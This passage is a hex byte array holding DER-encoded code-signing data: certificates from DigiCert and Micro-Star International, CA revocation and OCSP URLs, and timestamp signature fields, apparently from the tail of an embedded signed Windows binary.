0xF5, 0xD2, 0x96, 0x71, 0xF1, 0x9E, 0x30, 0x55, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0xA0,
0x48, 0xA0, 0x46, 0x86, 0x44, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72,
0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, 0x6C, 0x2F, 0x70, 0x72,
0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x43, 0x6F, 0x64, 0x65,
0x56, 0x65, 0x72, 0x69, 0x66, 0x52, 0x6F, 0x6F, 0x74, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48,
0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, 0x00, 0x5C, 0xF5, 0xB2, 0x2D, 0x02, 0xCE, 0xED,
0x01, 0xB5, 0x35, 0x12, 0xD8, 0x13, 0xF7, 0xAA, 0x40, 0x14, 0xC7, 0xA1, 0x5C, 0xA0, 0x8A, 0x55, 0xED, 0x7E, 0x55, 0xEA,
0x6A, 0xC4, 0x57, 0x17, 0x6F, 0xD0, 0x47, 0x22, 0x42, 0x36, 0x58, 0xEF, 0xC5, 0xAC, 0x61, 0xC5, 0xF6, 0x2C, 0x52, 0xCE,
0x6A, 0xE6, 0xC8, 0x0D, 0x85, 0xDA, 0xB3, 0x34, 0x42, 0x0E, 0xA4, 0x02, 0x25, 0x18, 0x26, 0x72, 0xB9, 0x2A, 0x4E, 0xA5,
0x7E, 0x4B, 0x16, 0xF2, 0xA0, 0xE4, 0x0C, 0x44, 0x9C, 0xE2, 0x4D, 0x9A, 0xF4, 0x74, 0xF0, 0xF9, 0x27, 0xA6, 0x69, 0x90,
0x31, 0xC2, 0x44, 0x65, 0x43, 0x48, 0xC7, 0x48, 0x69, 0xD0, 0xFC, 0x84, 0x09, 0xF2, 0x86, 0x14, 0x0A, 0xC2, 0x29, 0x96,
0x85, 0x7F, 0x11, 0xEB, 0x87, 0x13, 0x17, 0x6E, 0xD3, 0xEC, 0x6B, 0xFF, 0x1D, 0x57, 0x8A, 0xB1, 0x7B, 0x1E, 0xA5, 0xA0,
0x7C, 0xE9, 0xA2, 0x7A, 0x68, 0xE5, 0xFA, 0xC6, 0xB1, 0x61, 0xD6, 0x72, 0x63, 0xFA, 0x37, 0x91, 0x63, 0x83, 0x55, 0x99,
0xF8, 0x1D, 0x61, 0x4F, 0x0C, 0x6F, 0xA3, 0xF7, 0xBC, 0xB1, 0x15, 0x2A, 0xCC, 0x8D, 0x85, 0xE3, 0x14, 0x17, 0xEF, 0x7E,
0x49, 0x44, 0x3F, 0xB0, 0x22, 0xC0, 0xF0, 0xAC, 0xBE, 0x2F, 0xDB, 0xE1, 0x0C, 0x86, 0xB0, 0xF4, 0x58, 0x5C, 0x5A, 0x10,
0xA9, 0x4B, 0xCD, 0xF3, 0x44, 0x8A, 0x46, 0x52, 0x08, 0x3E, 0x0A, 0x62, 0x10, 0xE9, 0x45, 0x95, 0x04, 0xB7, 0x8B, 0x8D,
0x4B, 0x07, 0x4F, 0x50, 0x0D, 0xB7, 0xBB, 0xE7, 0xFB, 0x8C, 0xA2, 0x78, 0x78, 0xC6, 0xC5, 0x3B, 0x76, 0x63, 0xB2, 0xCF,
0xE5, 0x21, 0x84, 0x5A, 0x66, 0xFC, 0xE0, 0x4C, 0x79, 0x83, 0x4E, 0xCF, 0xA8, 0xEE, 0x70, 0x05, 0x86, 0x58, 0x7C, 0xC2,
0x9C, 0xD7, 0x3C, 0xA3, 0xAD, 0x3C, 0x7E, 0x76, 0x62, 0x5C, 0x87, 0xD0, 0xED, 0x7C, 0xD5, 0xC5, 0x5B, 0x14, 0x21, 0xF4,
0xBE, 0x75, 0xA2, 0x75, 0xD2, 0xE9, 0xE1, 0x5A, 0xD0, 0x20, 0x30, 0x78, 0x41, 0x62, 0x4D, 0x6B, 0x5E, 0x6E, 0x1B, 0x17,
0x10, 0x24, 0x4A, 0xD8, 0x58, 0x87, 0x75, 0xD0, 0x15, 0xD7, 0x62, 0xBB, 0xFD, 0x18, 0x56, 0x65, 0x84, 0x25, 0x61, 0x97,
0x7F, 0xAA, 0xD4, 0x9D, 0xF4, 0xF3, 0x5D, 0x6D, 0xA0, 0x31, 0xC2, 0xE1, 0x9E, 0x02, 0xAC, 0x3E, 0x90, 0xC3, 0x32, 0x7E,
0xE8, 0x32, 0x90, 0x34, 0x16, 0xD0, 0x8B, 0x14, 0xCF, 0x95, 0xAC, 0xCE, 0xE5, 0x8C, 0x54, 0xA2, 0x65, 0xB8, 0xBF, 0xED,
0x18, 0x6A, 0x57, 0x07, 0x3E, 0xD3, 0xE7, 0x9A, 0x4A, 0x2F, 0x08, 0x1A, 0x04, 0x1C, 0x49, 0x87, 0x1A, 0x8A, 0xE6, 0x1B,
0x08, 0xA3, 0x65, 0xD8, 0x1C, 0x31, 0xC5, 0x0D, 0x9C, 0xBA, 0xB3, 0x68, 0xDD, 0xF4, 0x50, 0x76, 0x16, 0x06, 0x75, 0xFE,
0xC4, 0x03, 0xE7, 0xD1, 0x3E, 0xDF, 0xDC, 0x86, 0x2E, 0x10, 0x02, 0x7E, 0x66, 0x12, 0x96, 0x53, 0x4E, 0x7A, 0xF3, 0x36,
0x58, 0x79, 0xB1, 0x20, 0x42, 0xD8, 0x96, 0x3F, 0x35, 0xBE, 0x3F, 0x8E, 0xF2, 0x99, 0x97, 0x43, 0xF5, 0xE4, 0x0C, 0xE1,
0x3C, 0x68, 0x72, 0x8C, 0x8D, 0x49, 0xD7, 0x5A, 0x52, 0xB5, 0x73, 0xFB, 0x7A, 0x35, 0x94, 0x3A, 0x61, 0xB0, 0x84, 0x82,
0xC0, 0x48, 0x85, 0xC1, 0x97, 0x32, 0xD3, 0x9B, 0x72, 0x5F, 0xA0, 0xD2, 0x34, 0x8F, 0x7E, 0xF0, 0x46, 0x7C, 0xF2, 0x8C,
0x72, 0x94, 0xC7, 0x07, 0xB0, 0xD7, 0xB5, 0xB2, 0x30, 0xB8, 0x19, 0x65, 0xF0, 0x9C, 0x83, 0x27, 0xB0, 0xA0, 0xAB, 0xD0,
0xA2, 0x72, 0x7E, 0x05, 0x0F, 0xB3, 0xAE, 0xDD, 0xB9, 0x5B, 0x9B, 0x42, 0xBC, 0xC3, 0x26, 0x63, 0x45, 0x6B, 0x86, 0xF1,
0x1D, 0x46, 0x43, 0xED, 0xC8, 0x30, 0x82, 0x05, 0x45, 0x30, 0x82, 0x04, 0x2D, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10,
0x02, 0x9C, 0x50, 0xCD, 0xDE, 0xED, 0x67, 0xF7, 0x59, 0xC0, 0xCA, 0x64, 0x85, 0x46, 0x3C, 0xAC, 0x30, 0x0D, 0x06, 0x09,
0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x30, 0x72, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55,
0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0C, 0x44, 0x69, 0x67,
0x69, 0x43, 0x65, 0x72, 0x74, 0x20, 0x49, 0x6E, 0x63, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x10,
0x77, 0x77, 0x77, 0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x31, 0x31, 0x30, 0x2F,
0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x28, 0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x20, 0x53, 0x48, 0x41, 0x32,
0x20, 0x41, 0x73, 0x73, 0x75, 0x72, 0x65, 0x64, 0x20, 0x49, 0x44, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67,
0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x38, 0x30, 0x35, 0x30, 0x39, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x31, 0x30, 0x35, 0x31, 0x33, 0x31, 0x32, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x30,
0x81, 0x81, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x54, 0x57, 0x31, 0x18, 0x30, 0x16, 0x06,
0x03, 0x55, 0x04, 0x07, 0x13, 0x0F, 0x4E, 0x65, 0x77, 0x20, 0x54, 0x61, 0x69, 0x70, 0x65, 0x69, 0x20, 0x43, 0x69, 0x74,
0x79, 0x31, 0x2B, 0x30, 0x29, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x22, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x2D, 0x53, 0x74,
0x61, 0x72, 0x20, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6E, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x61, 0x6C, 0x20, 0x43, 0x4F, 0x2E,
0x2C, 0x20, 0x4C, 0x54, 0x44, 0x2E, 0x31, 0x2B, 0x30, 0x29, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x22, 0x4D, 0x69, 0x63,
0x72, 0x6F, 0x2D, 0x53, 0x74, 0x61, 0x72, 0x20, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6E, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x61,
0x6C, 0x20, 0x43, 0x4F, 0x2E, 0x2C, 0x20, 0x4C, 0x54, 0x44, 0x2E, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A,
0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02,
0x82, 0x01, 0x01, 0x00, 0x86, 0x19, 0x10, 0xE5, 0x0D, 0x08, 0x06, 0xB9, 0x9C, 0xF9, 0x1F, 0x82, 0xAD, 0x38, 0xFE, 0x20,
0xE8, 0x5F, 0x7A, 0xC9, 0xFB, 0x42, 0x32, 0x4B, 0x2D, 0xE9, 0x91, 0xA9, 0xBF, 0x6C, 0x81, 0x51, 0x6C, 0x56, 0x71, 0x57,
0xA0, 0x3D, 0x83, 0x77, 0x22, 0x17, 0x6E, 0xF2, 0xDA, 0xA1, 0x0C, 0x85, 0x55, 0x84, 0x56, 0xBB, 0xF0, 0xE0, 0xE3, 0x25,
0x21, 0xCE, 0xDB, 0xA9, 0x37, 0xF1, 0x4D, 0xF0, 0xB8, 0xE4, 0xEA, 0xCF, 0x78, 0xE3, 0x6D, 0x16, 0x40, 0xA2, 0xA8, 0x00,
0x3B, 0xC8, 0x74, 0x8B, 0x12, 0xDF, 0x77, 0x2C, 0x34, 0x89, 0x94, 0x2E, 0x08, 0x95, 0x8D, 0xF9, 0x93, 0xF8, 0x4D, 0xBD,
0x15, 0x3F, 0xCF, 0x6D, 0x42, 0xC0, 0x9D, 0x71, 0xB7, 0xD6, 0xBA, 0xA6, 0x70, 0x7B, 0xB0, 0x8D, 0x28, 0x94, 0xC0, 0x1D,
0x6C, 0x9F, 0x2E, 0x52, 0x65, 0xC3, 0xEC, 0xBF, 0xE5, 0xE9, 0x6F, 0x7F, 0x95, 0x13, 0x85, 0x06, 0x89, 0x8E, 0xF0, 0x33,
0x9E, 0x0F, 0xD1, 0x4C, 0x43, 0x8E, 0x6A, 0x45, 0x15, 0xBC, 0xB8, 0x3F, 0x22, 0xDD, 0xDF, 0xE0, 0xCB, 0xF2, 0xEF, 0xB7,
0x96, 0x36, 0x3F, 0xBD, 0x7F, 0x14, 0xE3, 0x1E, 0x2F, 0x35, 0xB5, 0x22, 0x94, 0x1C, 0x5F, 0x5A, 0xFF, 0x4E, 0x95, 0x9B,
0x8E, 0x07, 0x17, 0xC9, 0xA7, 0xDB, 0xEB, 0xF9, 0xC8, 0x5A, 0xA7, 0x30, 0x3C, 0xD0, 0xCF, 0xFC, 0x56, 0x5E, 0xA6, 0xC5,
0x70, 0xE6, 0x56, 0x39, 0xDB, 0xD6, 0x02, 0x8B, 0x4C, 0x20, 0xE7, 0xAC, 0x16, 0xAA, 0x7C, 0xC4, 0xFD, 0x7D, 0x21, 0xE2,
0xEA, 0x03, 0xB4, 0xDD, 0x80, 0x68, 0x5B, 0x2F, 0x8B, 0x78, 0xB8, 0x76, 0xFB, 0x6F, 0xF1, 0x2E, 0x3C, 0x3A, 0x4A, 0x9D,
0x41, 0xA3, 0x3C, 0xCA, 0xF5, 0x34, 0x99, 0x02, 0xD5, 0xF9, 0xB2, 0xEE, 0xFF, 0xE4, 0xBD, 0xA4, 0x1C, 0x24, 0xED, 0xF7,
0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0xC5, 0x30, 0x82, 0x01, 0xC1, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23,
0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x5A, 0xC4, 0xB9, 0x7B, 0x2A, 0x0A, 0xA3, 0xA5, 0xEA, 0x71, 0x03, 0xC0, 0x60, 0xF9,
0x2D, 0xF6, 0x65, 0x75, 0x0E, 0x58, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0xCF, 0xB3, 0xB0,
0x0B, 0xD8, 0x9A, 0x3A, 0xF8, 0x27, 0x7A, 0x08, 0x6D, 0xB8, 0x46, 0xD9, 0x00, 0xF0, 0xB1, 0x7B, 0x38, 0x30, 0x0E, 0x06,
0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x07, 0x80, 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25,
0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x77, 0x06, 0x03, 0x55, 0x1D,
0x1F, 0x04, 0x70, 0x30, 0x6E, 0x30, 0x35, 0xA0, 0x33, 0xA0, 0x31, 0x86, 0x2F, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F,
0x63, 0x72, 0x6C, 0x33, 0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x73, 0x68,
0x61, 0x32, 0x2D, 0x61, 0x73, 0x73, 0x75, 0x72, 0x65, 0x64, 0x2D, 0x63, 0x73, 0x2D, 0x67, 0x31, 0x2E, 0x63, 0x72, 0x6C,
0x30, 0x35, 0xA0, 0x33, 0xA0, 0x31, 0x86, 0x2F, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x34, 0x2E,
0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x73, 0x68, 0x61, 0x32, 0x2D, 0x61, 0x73,
0x73, 0x75, 0x72, 0x65, 0x64, 0x2D, 0x63, 0x73, 0x2D, 0x67, 0x31, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x4C, 0x06, 0x03, 0x55,
0x1D, 0x20, 0x04, 0x45, 0x30, 0x43, 0x30, 0x37, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x86, 0xFD, 0x6C, 0x03, 0x01, 0x30,
0x2A, 0x30, 0x28, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1C, 0x68, 0x74, 0x74, 0x70, 0x73,
0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F,
0x43, 0x50, 0x53, 0x30, 0x08, 0x06, 0x06, 0x67, 0x81, 0x0C, 0x01, 0x04, 0x01, 0x30, 0x81, 0x84, 0x06, 0x08, 0x2B, 0x06,
0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x78, 0x30, 0x76, 0x30, 0x24, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07,
0x30, 0x01, 0x86, 0x18, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, 0x64, 0x69, 0x67, 0x69,
0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x4E, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02,
0x86, 0x42, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x61, 0x63, 0x65, 0x72, 0x74, 0x73, 0x2E, 0x64, 0x69, 0x67,
0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x53, 0x48,
0x41, 0x32, 0x41, 0x73, 0x73, 0x75, 0x72, 0x65, 0x64, 0x49, 0x44, 0x43, 0x6F, 0x64, 0x65, 0x53, 0x69, 0x67, 0x6E, 0x69,
0x6E, 0x67, 0x43, 0x41, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x0C, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x02,
0x30, 0x00, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x01,
0x01, 0x00, 0x2A, 0xC6, 0xFF, 0xBF, 0xE0, 0x0F, 0xF1, 0xB9, 0xD3, 0xDF, 0xE7, 0x12, 0x94, 0x66, 0xCC, 0x3B, 0xCD, 0xD0,
0x77, 0x02, 0x73, 0x06, 0xE4, 0xBA, 0x1C, 0xE7, 0x68, 0xD2, 0xAA, 0xA7, 0x68, 0x9A, 0xED, 0xE0, 0x74, 0x02, 0xCB, 0x3C,
0xFE, 0xDF, 0x43, 0x16, 0x79, 0xAE, 0x6B, 0xDC, 0x67, 0xB2, 0xF9, 0x3C, 0x28, 0x24, 0x3C, 0x66, 0x13, 0x39, 0x44, 0x4D,
0xBC, 0xAC, 0xF4, 0xDB, 0x08, 0x84, 0x58, 0x3D, 0x8F, 0x01, 0xC2, 0x14, 0x5B, 0xA5, 0x71, 0x28, 0xB1, 0x74, 0x5C, 0x34,
0x4D, 0xBA, 0xB5, 0x06, 0xA7, 0x6A, 0x4E, 0xFA, 0x08, 0xC8, 0x30, 0x97, 0x3C, 0x7A, 0x50, 0x34, 0x04, 0xC3, 0x84, 0xAC,
0x7E, 0xF9, 0x15, 0x1B, 0x24, 0x8A, 0xFF, 0xB5, 0xC9, 0xB4, 0x82, 0xCA, 0xCA, 0x42, 0xED, 0xCE, 0x69, 0x62, 0x8C, 0x83,
0xE4, 0xD3, 0x88, 0x63, 0x47, 0x54, 0x49, 0x20, 0x15, 0xAF, 0xA3, 0x17, 0xDD, 0xB5, 0x5D, 0xD5, 0x83, 0x67, 0xF8, 0x22,
0x07, 0x97, 0x73, 0x45, 0x08, 0x0D, 0x44, 0xC6, 0xE7, 0xCC, 0xAC, 0x45, 0x59, 0xDB, 0xBC, 0xFF, 0x6A, 0xDC, 0xE9, 0x4B,
0xC2, 0x23, 0x3F, 0x0C, 0x48, 0xCB, 0x63, 0x41, 0x91, 0xE0, 0x5F, 0x02, 0x54, 0x31, 0x50, 0xD5, 0xC5, 0xDE, 0x00, 0x30,
0x2D, 0x44, 0x30, 0xE6, 0x2B, 0x3C, 0x94, 0xF7, 0xC4, 0x90, 0x80, 0x8C, 0xC0, 0x31, 0x30, 0x25, 0xFC, 0xC8, 0x72, 0x37,
0x1C, 0x0D, 0x97, 0x61, 0x8A, 0x07, 0xF3, 0xE1, 0x2C, 0x68, 0x37, 0x91, 0x23, 0x92, 0xB2, 0xE8, 0xB3, 0x4B, 0x51, 0x0D,
0x29, 0x05, 0x11, 0xC9, 0x0F, 0xAA, 0x44, 0x24, 0xD8, 0x88, 0x7B, 0x84, 0x67, 0x06, 0x77, 0xBA, 0xE0, 0xE7, 0x22, 0x25,
0xCF, 0xA1, 0xBB, 0x47, 0x9E, 0x92, 0xDC, 0xE6, 0x90, 0x35, 0x41, 0x10, 0xDB, 0x44, 0x5A, 0x4B, 0xCA, 0x27, 0x31, 0x82,
0x19, 0xAA, 0x30, 0x82, 0x19, 0xA6, 0x02, 0x01, 0x01, 0x30, 0x81, 0x86, 0x30, 0x72, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03,
0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0C, 0x44, 0x69,
0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x20, 0x49, 0x6E, 0x63, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13,
0x10, 0x77, 0x77, 0x77, 0x2E, 0x64, 0x69, 0x67, 0x69, 0x63, 0x65, 0x72, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x31, 0x31, 0x30,
0x2F, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x28, 0x44, 0x69, 0x67, 0x69, 0x43, 0x65, 0x72, 0x74, 0x20, 0x53, 0x48, 0x41,
0x32, 0x20, 0x41, 0x73, 0x73, 0x75, 0x72, 0x65, 0x64, 0x20, 0x49, 0x44, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69,
0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x02, 0x10, 0x02, 0x9C, 0x50, 0xCD, 0xDE, 0xED, 0x67, 0xF7, 0x59, 0xC0,
0xCA, 0x64, 0x85, 0x46, 0x3C, 0xAC, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05,
0x00, 0xA0, 0x7C, 0x30, 0x10, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x02, 0x30,
0x00, 0x30, 0x19, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, 0x06, 0x0A, 0x2B, 0x06,
0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0x30, 0x1C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
0x01, 0x0B, 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x2F,
0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04, 0x20, 0x26, 0xB8, 0x5C, 0x7A, 0x74,
0x16, 0x4C, 0x9D, 0xDD, 0x39, 0x5A, 0x4E, 0x44, 0xDE, 0x8D, 0x77, 0x86, 0xA6, 0xBC, 0x6A, 0xD8, 0x11, 0x30, 0xAF, 0x96,
0xD8, 0xB5, 0x54, 0x15, 0xC6, 0x4E, 0x97, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01,
0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x74, 0x9F, 0x62, 0x39, 0xB4, 0xD4, 0x91, 0x58, 0xA5, 0x7D, 0xB0, 0xD0, 0x3A, 0x58,
0xE4, 0x14, 0xEC, 0x6C, 0x0E, 0x84, 0x26, 0x89, 0x21, 0x26, 0x40, 0x64, 0x50, 0xC2, 0x48, 0x58, 0xBF, 0x08, 0x37, 0xD9,
0xB7, 0xC6, 0x77, 0x22, 0x96, 0x15, 0x1C, 0xD3, 0xEF, 0x55, 0xBB, 0x82, 0x0D, 0x16, 0x04, 0x80, 0xF7, 0x64, 0xDB, 0x92,
0x69, 0xEE, 0x1E, 0x47, 0x1D, 0x36, 0xE3, 0xB6, 0x6C, 0xCB, 0xFE, 0x31, 0xD1, 0x10, 0xED, 0x79, 0x16, 0xFE, 0xE5, 0xDD,
0x3C, 0xC1, 0xF8, 0x46, 0x78, 0xEC, 0x80, 0x69, 0x89, 0xD4, 0x45, 0x16, 0xCA, 0xC2, 0xD3, 0xD0, 0x05, 0x16, 0xF2, 0x01,
0xC7, 0x3C, 0x67, 0x3A, 0xFA, 0x3C, 0xA3, 0x26, 0x42, 0x3C, 0x82, 0xDD, 0x1E, 0x2D, 0x2F, 0x4F, 0xC1, 0x42, 0x6B, 0x37,
0x72, 0xD5, 0x87, 0x5E, 0xE6, 0x39, 0x06, 0x51, 0x6B, 0x40, 0xD3, 0x87, 0x6C, 0xE9, 0x37, 0x3B, 0x30, 0xBD, 0x17, 0xE9,
0x90, 0x88, 0x43, 0x68, 0x94, 0xC0, 0x6F, 0xDF, 0x69, 0xAF, 0x09, 0xEF, 0x3B, 0x8E, 0x00, 0x8F, 0xCE, 0xF3, 0x57, 0x63,
0x6B, 0x16, 0x1E, 0x02, 0x49, 0xE9, 0x37, 0xBD, 0x5F, 0x15, 0x0D, 0x88, 0x01, 0x0D, 0x4B, 0x96, 0x05, 0x96, 0x7A, 0x9B,
0x4D, 0xAC, 0x11, 0x92, 0xD3, 0xA1, 0xF3, 0xFA, 0x21, 0xAA, 0x9B, 0xB9, 0x16, 0x21, 0xD8, 0x8F, 0x95, 0x8B, 0x74, 0x19,
0xA4, 0x79, 0x60, 0xDE, 0xF5, 0xEC, 0x94, 0x16, 0x9A, 0x37, 0xCA, 0xB1, 0x7D, 0x9A, 0x54, 0xA9, 0x94, 0x56, 0x54, 0x9D,
0x40, 0x02, 0xF4, 0xC0, 0x48, 0xEC, 0x8B, 0x98, 0x1B, 0x37, 0x75, 0x00, 0x71, 0x18, 0xA6, 0xF2, 0x40, 0x5E, 0x75, 0xD6,
0xE5, 0xFE, 0xF3, 0x83, 0x3D, 0xE8, 0xE8, 0x43, 0x99, 0xD8, 0x32, 0x20, 0xD7, 0xAE, 0x36, 0x3D, 0x14, 0xA1, 0xEC, 0x0E,
0x46, 0x57, 0xA1, 0x82, 0x17, 0x76, 0x30, 0x82, 0x17, 0x72, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x03,
0x03, 0x01, 0x31, 0x82, 0x17, 0x62, 0x30, 0x82, 0x17, 0x5E, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07,
0x02, 0xA0, 0x82, 0x17, 0x4F, 0x30, 0x82, 0x17, 0x4B, 0x02, 0x01, 0x03, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86,
0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, 0x77, 0x06, 0x0B, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01,
0x09, 0x10, 0x01, 0x04, 0xA0, 0x68, 0x04, 0x66, 0x30, 0x64, 0x02, 0x01, 0x01, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x86,
0xFD, 0x6C, 0x07, 0x01, 0x30, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05,
0x00, 0x04, 0x20, 0x8E, 0x5A, 0x97, 0x0D, 0xF2, 0xAB, 0x0E, 0x25, 0x07, 0xF4, 0xE0, 0x95, 0x24, 0x76, 0x14, 0x7B, 0xA7,
0xF9, 0x39, 0x54, 0x79, 0xCC, 0x48, 0x50, 0xF9, 0x5D, 0x28, 0x22, 0x50, 0x56, 0x1C, 0x8C, 0x02, 0x10, 0x6A, 0x89, 0xFF,
0x29, 0xE9, 0x7F, 0x6B, 0xC7, 0xBD, 0x45, 0x67, 0xD2, 0x0B, 0x48, 0xE0, 0xF6, 0x18, 0x0F, 0x32, 0x30, 0x32, 0x36, 0x30,
0x34, 0x32, 0x35, 0x30, 0x32, 0x33, 0x33, 0x35, 0x35, 0x5A, 0xA0, 0x82, 0x13, 0x3A, 0x30, 0x82, 0x06, 0xED, 0x30, 0x82,
0x04, 0xD5, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x0A, 0x80, 0xEF, 0x18, 0x4B, 0x8D, 0xF1, 0x05, 0x82, 0xD1, 0xC4,
